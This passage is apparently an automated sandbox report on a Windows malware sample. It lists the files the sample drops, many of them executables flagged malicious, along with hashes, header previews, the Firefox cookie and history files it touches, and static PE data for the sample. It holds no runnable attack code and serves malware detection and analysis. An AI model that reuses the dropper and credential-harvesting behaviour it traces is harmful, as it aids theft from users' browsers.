Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.363359036723334
Encrypted:	false
SSDEEP:	48:SvrzfWvPcXegCPUo1vlZQrAxoONfHFZONfH3d1xCWMBFNL2piSS4k+bkg6j0KHc:+fkcXegaJ/ZAYNzcld1xaX12pTSKvkc
MD5:	526426126AE5D326D0A24706C77D8C5C
SHA1:	68BAEC323767C122F74A269D3AA6D49EB26903DB
SHA-256:	B20A8D88C550981137ED831F2015F5F11517AEB649C29642D9D61DEA5EBC37D1
SHA-512:	A2D824FB08BF0B2B2CC0B5E4AF8B13D5BC752EA0D195C6D40FD72AEC05360A3569EADE1749BDAC81CFB075112D0D3CD030D40F629DAF7ABCC243F9D8DCA8BFBE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`..............................................................<!.......P.......@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc........P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp

Download File

Process:	C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	707072
Entropy (8bit):	6.506475536459593
Encrypted:	false
SSDEEP:	12288:LTPcYn5c/rPx37/zHBA6a5UeYpChr1CERdSrNdyR6f3o1a+mxyF:PPcYn5c/rPx37/zHBA6pFpCZ1CEuf3ot
MD5:	5BB9B9DE0317E5A96DBFD2FD3D94DA85
SHA1:	E911A334A583F774884C2C8FAA3A920F162512D4
SHA-256:	91AE9EE3BC908AD21146794178BBE1B2A9D15139E68816ABD9A4175EF90656FB
SHA-512:	41AC8A47607CABB31E171F4D412D272FBA490D955885EE44C4D18BBBE1E0296562DA79462C9811D36DA86389160FB8CB014780E5D09E96805789AE637834A571
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@...............................%..................................................................................................................CODE....@........................... ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................V..............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11496960
Entropy (8bit):	7.95681767955623
Encrypted:	false
SSDEEP:	196608:0GTSo6ARyCFMI19DwkfAuYI8wha0mlCGMbM77RWWuhJzoSpc92tQRqIDfrDap1B6:0GTz6uyCfDwkfAuH8kv477RWXJs59Nqs
MD5:	D60D266E8FBDBD7794653ECF2ABA26ED
SHA1:	469ED7D853D590E90F05BDF77AF114B84C88DE2C
SHA-256:	D4DF1ABA83289161D578336E1B7B6DAF7269BB73ACC92BD9DFA2C262EBC6C4D2
SHA-512:	80DF5D568E34DFC086F546E8D076749E58A7230ED1AA33F3A5C9D966809BECADC9922317095032D6E6A7ECDFBFBCE02A72CC82513AB0D132C5FFA6C07682BD87
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#.................]p.........@.............................`............ .....................................................<....P......@...`*...........................................F..(.......8............... ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..p.-......................... ..`.text1..X...........................@....text2...`.......b..................`..h.rsrc........P.......h..............@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17173136
Entropy (8bit):	7.638704852437407
Encrypted:	false
SSDEEP:	393216:6e7J+Gb+HUbNSZpQJDzjfEQ1hNLRGaGM7eGfIO3:6e7J+GacDnfphNLRBrDD
MD5:	2422F05C5FD9FD0844A8BDA0A1281C22
SHA1:	0CCBA49F5B6457AC3057086EC04C26ACD4A86DB7
SHA-256:	AFF1DB616D54E8C3A90379091F605C8AD6BEEA66B5B3223CDE7E2467A3294922
SHA-512:	25EC269EC9E34BDB5F8F8801D65AB35FFF170FAC35CFF0E882DBD52ED7E9CBA5DD4AC1426AD2AFB7C9605FC3123700DD5F082BA9B0FF1C4D54D2320A04EDA113
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...hY.f.........."...0..7............... ....@...... ....................................`..........................................................`..............0...`............................................................................ ..H............text....7... ...8.................. ..`.rsrc........`.......:..............@..@........................................H.......\|(................................................................(....:.(......}....&...(......{....2(&....o'.....(......(......(......(......(......(....2(&....o5....s9..........(9.....0..".......~..........(....~....-...............8....~.....i.~.....2.......~.....+.~......9......X...2...+.~......9......X..~....2...+.~......o....,n..X...2.~.....i. ......Z(.......0.(......+.~......,:~......o....,,..X...2.s....z........~.........(............. ....X}....~......

C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8732672
Entropy (8bit):	6.427274039018253
Encrypted:	false
SSDEEP:	98304:f7aVHGolaJtFaKWi64a6kI/t5jeWjAmiEmp71:mtl0Fh7Lk
MD5:	6C2DB0EF90B27F880A1566DE7711E6C6
SHA1:	E9E14A284FAE52C5C91200F81AF4F94B53526816
SHA-256:	C2588125970DB20AC97818D2170EECEC857F578D7BF3F24EF8F6A3F303798AC6
SHA-512:	1A9A1220958CC5B9D32DC70074DF174EAE7040C53BBF1FA4C97753A9F8C2A9A8C20668FC957D743FB038A97CA0017E333181856A783E10CFAE0F557D2AAB73A2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........$................=..n......@2........\|...@.......................................@..................................0..L....p.......................@..$.....................................................\|..............................text.....=.......=................. ..`.rdata..D.?...=...?...=.............@..@.data....Y....\|..T....\|.............@....idata..L....0......................@....reloc..$....@......................@..B.symtab......`.......$.................B.rsrc........p.......&..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	221600
Entropy (8bit):	7.968721372985914
Encrypted:	false
SSDEEP:	6144:u5Rh+OL63O9k17T5lvuVU0VKsLalk5GwjM8Dxy7QYEO:uLJAEQr6KsLEkkWzyTEO
MD5:	272B330726DEC4ADD609E0D8025D71B7
SHA1:	75543AC27B430EF6FEC461056CEB6A55A35C7369
SHA-256:	E48219567F84882F41BB1E957BBD1358E453274CA0D2025505C66779F642BC30
SHA-512:	6E2731C61CE8CE018DEB9E20F772BBE8B6B57DF77AC5054FD67B18199AE2DE1399ADD3B29B7A18BDC994F5AB1F8678F3454E593685E1626D4EF525DF59532558
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...fs.f............................n&... ...@....@.. ....................................`..................................&..W....@..............x;..(&...`.......$............................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P&......H....... ...............................................................8..<...7.:\....Pj..;..`V..-..=...;......@.-V_....Q..Fv..to..,.M...e.il<.B)..=P...C.I.......\|..A.L.....n;.....1....i<..p{Np..3..*~....F....ws..._#.%...RQ&..[.....I.d..+.k.(.....`Q.!.....s.....S...?`.%..&./.{....h.}}.F,b3...h91.(.%....n.K..w....e:..>......#f....$W..r...O.....2....f.3...\|.Ta..... .o[P.........\..).....X..oo.X6.....zC...}..0...)v...a....N".._..Kq.8{c....a.W.6..s.....h.......).

C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	287969
Entropy (8bit):	7.983862658404977
Encrypted:	false
SSDEEP:	6144:V58+UTYNUsagLAxjDbXxw0HVmjE+IPgkeHeNQZzgc:1UTqUsJLunxDVm9IIVOw0c
MD5:	64D93F350EB366B3BFAFDB294F78ADB1
SHA1:	0034BB412298FC15A36EBE85B06BE5DE159A0448
SHA-256:	6281F99F2F1A9B2401790E54AF977B2FF917662F6C5A873BD09EE942B585F8D1
SHA-512:	370857298B8425069A86B3FC543F1C481B7C24229F18CF1493B5F781C9B52E0451D23B818C86F0CC0EE9D658F96DDD61E87AF80610307A8AE832A02BCF0B25DD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Ls.f.................:..........nX... ...`....@.. ....................................`..................................X..W....`..............xm..(&...........V............................................... ............... ..H............text...t8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................PX......H....... I...................................................................2..W.[j..x.x}.<6.?..Y-.W..O...Z......M5"..._.v.p.r.{.'....$.cE..D.Z.-S..J.nJK..}RP.D..Z.....Bx....?...A.!.;1..Id..L..@..hj.`2q.H..a..6.T...w.D.CF.......E.szL...Xk.y.....1I....IZd.A..A.L......B.....u.).......kM..O+...am.F\.L.FA..y....(.K.@..J^A$..6q.@.....v}DOR...I......1..4.\y...?.u].IW.Q..i...$\..~$...Ao...v.;L\.K&vh..0..."Ck....%.S...z...W.....L.j.b.$`1q-...thB..!..Y...ZY.

C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	360824
Entropy (8bit):	7.988488082565148
Encrypted:	false
SSDEEP:	6144:rJH7M9GC2FJJaknlN/zR0eVQbWVo+oMZvF+ZwZlwHhK5NTp:9HrFJJaknlNLR0NbWVo+osFP2K5pp
MD5:	8E3FB69A56D807D7EF1C432EA1590496
SHA1:	78843735C41AF9906484DF7C3E3A1D1CD4A0B83D
SHA-256:	CB2E830D6DF32FD5168D39A10D138A1F724651B7DCC561B2B87B59CC96EBB20A
SHA-512:	12EE5797845E86768D5A99E45FB7CD93B328F4839031A91EA735F41F0EEC373A2FB593BCE7BB13201E982EE75BD0BC22ED7C2B6CAA954FACFA238C2A5BAE521B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...3..f.................N..........nl... ........@.. ....................................`..................................l..W....................X..x)...........j............................................... ............... ..H............text...tL... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................Pl......H....... ]..............................................................0.Hn.+J.x~..O.c..A..Ow.u... ......"....._......o.v..vl......x.N..+T[A...g.....f[q."L.".wKO8.8`..".3.j.7...P.U.N.yX...g...%".\....>...8.$.....T?uM$......C2.8........[.Ya.....n\|.M.o.....y..E.........u..r..l.O.3T..I.....).Md'..c.2.LB.{Z$...Rx...5..._.8..@.@5..,b...y_%8._..aY.P../.....>7..\|.~...{k..~e.5'mA.!Q.[C.....H.I)..o$.^.\..v"#..3..l...F....E..E..-E.H.". )..}.vL.U..p.PU..v.......a

C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	299936
Entropy (8bit):	7.981202329657754
Encrypted:	false
SSDEEP:	6144:SUehHGTrrMAUWyioL61kWNVREN/EFO2LYuNJReyViEO:SU7nz4s1kWNvEVLTuplIEO
MD5:	FEDE424830238CF2C2E661B5CB12E584
SHA1:	5A8F787C25ECCD1E5A8D293625EF80C5D416DA19
SHA-256:	72D4E5A68545DE1C0268A4616DB6807E90A027E0191DDA20377ECBD61AE577F0
SHA-512:	713891E18A615E7013F555D05B08EB91E7520B94E1BBA0FA0483C29F6F3AF5EF8F2055B2E35E8E83B75CD41256B5FD86405318B87440DA463B82DAEDFD8AC39F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Zs.f.................:..........nX... ...`....@.. ....................................`..................................X..W....`..............xm..(&...........V............................................... ............... ..H............text...t8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................PX......H....... I.................................................................-.If........w..8\......O?).OEeQs\`Q$b_t..g...A.'4..P\}.....,@..6D.x~.;.Bz.3.C..%..F.25't.W..L.d)<.b 9.Q.u...$...\|A..(.._.. ...5..l.g..T.f...nI....r...z.....f\....l...L.}..H..2.d.0.H.9t......8yJh.Q.R.:;.8(...ej...`..O...z..5.....:T.:7..~&k.......s......K.=R...M......t...".Oo)"..7.].U.,....vC@.wb.....C.?.......>.X...^+.5q#..N.M..9.JK.f....f.G.^..H..c..i..~.............6,.r..BQ$.......

C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4249600
Entropy (8bit):	7.5486921675227485
Encrypted:	false
SSDEEP:	49152:HYcdjDQdrscIC5SmTT+mfkj8J6iKG7suEAeMDsaUmxb7WnpRGnKuAsF33PKQTunw:HK/f+mfNptIZ/alxGR7uA8Phanzuhjf
MD5:	ABDBCC23BD8F767E671BAC6D2FF60335
SHA1:	18CA867C0502B353E9AAD63553EFD4EB4E25723F
SHA-256:	45A7B861BAAC5F8234433FEFD9DBDD0A5F288A18B72346B6B6917CF56882BF85
SHA-512:	67C00713E6D24D192C0F8E3E49FA146418FAF72B2BB42C276AD560F08E39C68F4AB446C47C7E7710778AEE9CA1F193AD65E061645B6BCEC414844165B5E16BC7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._U....................>..8........>.. ....>...@.. .......................@A...........@.................................`.>.K.....>...................... A.......>.............................................. ............... ..H............text.....>.. ....>................. ..`.sdata........>.......>.............@....rsrc.........>..0....>.............@..@.reloc....... A.......@.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	331128
Entropy (8bit):	7.986753743022443
Encrypted:	false
SSDEEP:	6144:KF0iDT0uzcvXjGQfp1Shf0J4eKC+2Lojfckt6QLniqtBZ2AWwZB24kAscHjs34ha:KF0iPDcffXLqdtpLiqtBZ2AdLdkAssjA
MD5:	A0C6989730B44EE30722FECCD86D946B
SHA1:	4EF62E701352C7DFDF0807460DC4BB3C22BE67F0
SHA-256:	5669998000FDC457A919DEA600B100809D0BB5681CBCA6A67B544307233B5915
SHA-512:	E5C622F22AD40CDDAE798853D40AF4695A37BD75624193C0181504A3AC2A28C146339BF06AE0110A995C90BDFCAAB9A3072E18A7F610CBED24D5B1D028FC5EBA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M}.f............................n.... ........@.. .......................@............`.....................................W.......................x)... ....................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................P.......H....... ...............................................................u.Gh.\..y..%:.....zM.$. v.....s...87..kE.ef.....ICp.M.......^..%.^..ha2.../..r.."..... ....#...z0bl....v.).......I.M.....a.2.28..,.:..g>.s....+z..{....6..f...Z~...A.037Q.~.)Q..........pD>\|W..f9.1....^<..#.Pk.....q.1G...0`.zU ..B"L..z....&VD...H......!L.v\.0..[G.Uq..#.Qr5X.FGKu..n?`....1.n....&...5.......y..N..&....)..qa.....3..6.(.;........5.%.9...}~rW..<!..m...D..F(d.F+=.%'=.....u9...

C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3064607
Entropy (8bit):	7.997233529221632
Encrypted:	true
SSDEEP:	49152:C9VUhWp2u0GYNn8wm+6HAq0yAxnqZ5llq0/xoCD1O6GtYg8HdPuMoMuzliWR0ast:MWgp2FNhmJQqZ00/ewO6RjHQMR4ZR0am
MD5:	7F8B798B110AC4A6898922F87EA59530
SHA1:	E7FCD3D87032480AE20E3BDE0370B8A3DDD9990B
SHA-256:	A4D3E439EE171D55BFC435125503D421C2314D87E8BC5910161BEBECFA505EDA
SHA-512:	E246C8AB501EA6E23304F52132058BB4021788451609D5210C7C5F85D9C9FDD3E129F658C4FF9971104AE5963A6EC9C12E63A84807E51263BBB5557DEBAB51CC
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F....................@..........................@...................@..............................P........,..........................................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1555388
Entropy (8bit):	7.86073109012792
Encrypted:	false
SSDEEP:	24576:19jxqVRrAHl5Sk1asIrE65IFwDYp2aCYMGbhIgPow35HVBfEadT6Oa9iY1xONgWM:19xqV5OT1ahrzeeY8af3dzfEahdigd9G
MD5:	8BC957246166F6B5D99C1B63D34DD663
SHA1:	AA801D804CF0FE6FA0772F412CB5B4B686213159
SHA-256:	C37AE928BBFD115A32DBF0060E1A2D191A06CAB66C7251796F1FB7212FC8C8FF
SHA-512:	B9435A0F6C4FBC48DC1C8712F1B9611E6BB3D52D35718E4ED054D6C3E60216FC5F37D001CB989B29031699BE78602E82DBDB593F9C82BD515E43FA0494DD1A58
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aKZe%46%46%46,R.6&46,R.6446%56.46>..6+46>..6$46>..6$46Rich%46........PE..L.....GO.................p....B..B...8............@...........................L...........@.................................4........0G.B...........d...X.....?.H....................................................................................text....o.......p.................. ..`.rdata..b.......,...t..............@..@.data....f>.........................@....ndata....... ?..........................rsrc...B....0G.....................@..@.reloc...2....K..4..................@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.930525250652328
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	2'459'136 bytes
MD5:	2384147d776a89133c297e95130c100a
SHA1:	96e1d0e0d6bcea020b4b33b7374f6372730f063f
SHA256:	4b5ebae450e293ef4c62d3f57738bbbf33db5e28f987ed02bef8320271adaba2
SHA512:	d75a80cbd78c5493a1883744dad3af4cfd7d8ae378a6e67a50603b4dc2f0a79d8bcb62363709c8f50d6ef04c9d84b53be05358d48e926ab5501bb047aab4773e
SSDEEP:	49152:s7DkKoWpcpRWIbi94SJcb7EGwq3y6RFJITV3BnVt+swy8cAKpMb99sQHoo:Ok3STI1EGwzCFJ+TwmQIo
TLSH:	8EB5007519C4EDDCF926DE34D0C0552E629178F9BEB1AC07EAA3394EC4E14027B63AE1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G................P..V#..........t#.. ....#...@.. ........................%...........@................................

File Icon


Icon Hash:	16eb0e7f9c7a988b

Static PE Info

General

Entrypoint:	0x637416
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x899A47E8 [Thu Feb 26 18:52:24 2043 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
